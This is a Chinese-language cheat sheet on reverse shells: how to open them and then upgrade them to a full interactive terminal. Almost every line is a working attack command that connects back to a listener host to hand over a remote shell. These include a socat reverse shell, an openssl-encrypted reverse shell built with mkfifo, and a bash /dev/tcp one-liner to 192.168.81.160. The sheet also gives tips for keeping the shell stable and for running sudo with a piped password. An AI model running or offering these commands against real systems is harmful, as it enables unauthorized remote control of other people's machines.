sudo命令

  • 正常情况下不能执行sudo命令,sudo会启动子进程完成交互,反弹shell无法使用sudo命令,如果要使用,需使用echo "password"|sudo -S 命令完成sudo权限提升。

pty

  • 获取到shell后,使用伪终端pty,进入交互式,可使用sudo命令。python -c 'import pty; pty.spawn("/bin/bash")',ctrl+c仍会退出程序。

socat

  • 使用socat完成反弹shell,可保证ctrl+c不会退出程序,和ssh类似,使用明文传输。
  • 服务器:socat file:\`tty\`,raw,echo=0 tcp-listen:4444
  • 客户端:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.81.160:4444

script

  • 使用系统自带script命令,创建一个有tty的shell,ctrl+c仍会退出程序,必须使用/dev/null,否则会生成文件,记录所有命令和结果。
  • script /dev/null

openssl加密传输

  • 生成密钥对,openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
  • 服务器监听端口,openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
  • 服务器发起连接,mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s
  • 可使用加密连接,但是ctrl+c会退出程序。

nc+python升级完整pty

  • 该方式可以保证ctrl+c不会退出连接。
  • 服务器搜集信息:echo $TERMstty -a ,获取xterm信息和stty的rows和columns信息。
  • 服务器监听端口:nc -lvvp 4444
  • 客户端发起连接:bash -i >& /dev/tcp/192.168.81.160/4444 0>&1
  • 交互式shell:python -c 'import pty; pty.spawn("/bin/bash")'
  • 挂到后台:ctrl + z
  • 重置stty:stty raw -echo
  • 调回前台:fg
  • 刷新终端:reset
  • 设置环境变量:export SHELL=bashexport TERM=xtermstty rows